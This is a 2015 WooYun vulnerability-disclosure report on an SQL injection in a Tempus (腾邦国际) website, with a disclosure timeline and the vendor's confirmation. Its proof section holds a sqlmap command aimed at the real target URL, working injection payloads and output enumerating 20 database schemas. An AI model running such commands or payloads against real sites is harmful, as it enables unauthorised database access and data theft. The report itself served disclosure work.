当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0117568

漏洞标题:腾邦国际某站SQL注入20个库

相关厂商:腾邦集团

漏洞作者: 蛋蛋侠

提交时间:2015-06-02 09:49

修复时间:2015-07-17 15:36

公开时间:2015-07-17 15:36

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:18

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-02: 细节已通知厂商并且等待厂商处理中
2015-06-02: 厂商已经确认,细节仅向厂商公开
2015-06-12: 细节向核心白帽子及相关领域专家公开
2015-06-22: 细节向普通白帽子公开
2015-07-02: 细节向实习白帽子公开
2015-07-17: 细节向公众公开

简要描述:

rt

详细说明:

QQ截图20150601184739.png

漏洞证明:

[root@Hacker~]# Sqlmap Sqlmap -u "http://vip.tempus.cn/help/help_content.shtml?compid=TEMPUS" --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility
[*] starting at 18:38:45
[18:38:46] [INFO] testing connection to the target URL
[18:38:49] [INFO] testing if the target URL is stable. This can take a couple of seconds
[18:38:50] [INFO] target URL is stable
[18:38:50] [INFO] testing if GET parameter 'compid' is dynamic
[18:38:51] [INFO] confirming that GET parameter 'compid' is dynamic
[18:38:51] [INFO] GET parameter 'compid' is dynamic
[18:38:54] [WARNING] heuristic (basic) test shows that GET parameter 'compid' might not be injectable
[18:38:54] [INFO] testing for SQL injection on GET parameter 'compid'
[18:38:54] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[18:38:57] [INFO] GET parameter 'compid' is 'AND boolean-based blind - WHERE or HAVING clause' injectable
[18:39:05] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'Oracle'
do you want to include all tests for 'Oracle' extending provided level (1) and risk (1)? [Y/n] y
[18:39:59] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[18:39:59] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[18:40:00] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[18:40:00] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[18:40:00] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS)'
[18:40:03] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (CTXSYS.DRITHSX.SN)'
[18:40:03] [INFO] testing 'Oracle OR error-based - WHERE or HAVING clause (XMLType)'
[18:40:04] [INFO] testing 'Oracle OR error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS)'
[18:40:04] [INFO] testing 'Oracle OR error-based - WHERE or HAVING clause (CTXSYS.DRITHSX.SN)'
[18:40:05] [INFO] testing 'Oracle error-based - Parameter replace'
[18:40:05] [INFO] testing 'MySQL inline queries'
[18:40:05] [INFO] testing 'PostgreSQL inline queries'
[18:40:05] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[18:40:05] [INFO] testing 'Oracle inline queries'
[18:40:05] [INFO] testing 'SQLite inline queries'
[18:40:05] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[18:40:05] [CRITICAL] there is considerable lagging in connection response(s). Please use as high value for option '--time-sec' as possi
[18:40:05] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[18:40:05] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[18:40:05] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE)'
[18:40:05] [INFO] testing 'Oracle stacked queries (heavy query)'
[18:40:07] [INFO] testing 'Oracle stacked queries (DBMS_LOCK.SLEEP)'
[18:40:07] [INFO] testing 'Oracle stacked queries (USER_LOCK.SLEEP)'
[18:40:07] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[18:40:07] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[18:40:08] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[18:40:08] [INFO] testing 'Oracle AND time-based blind'
[18:40:52] [INFO] GET parameter 'compid' is 'Oracle AND time-based blind' injectable
[18:40:52] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[18:40:52] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) te
GET parameter 'compid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection points with a total of 61 HTTP(s) requests:
---
Place: GET
Parameter: compid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: compid=TEMPUS' AND 5964=5964 AND 'ouyL'='ouyL
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: compid=TEMPUS' AND 3651=DBMS_PIPE.RECEIVE_MESSAGE(CHR(75)||CHR(76)||CHR(97)||CHR(77),5) AND 'yJri'='yJri
---
[18:42:14] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
[18:42:14] [WARNING] schema names are going to be used on Oracle for enumeration as the counterpart to database names on other DBMSes
[18:42:14] [INFO] fetching database (schema) names
[18:42:14] [INFO] fetching number of databases
[18:42:14] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[18:42:14] [INFO] retrieved:
[18:42:42] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is going to retry the request
20
[18:43:53] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is going to retry the request
[18:43:59] [INFO] retrieved: A
[18:45:35] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is going to retry the request
P
[18:46:56] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is going to retry the request
EX_0

修复方案:

上市公司,来支持下,求礼物~

版权声明:转载请注明来源 蛋蛋侠@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-06-02 15:34

厂商回复:

感谢平台以及白帽子协助,我们已经组织人员处理中

最新状态:

暂无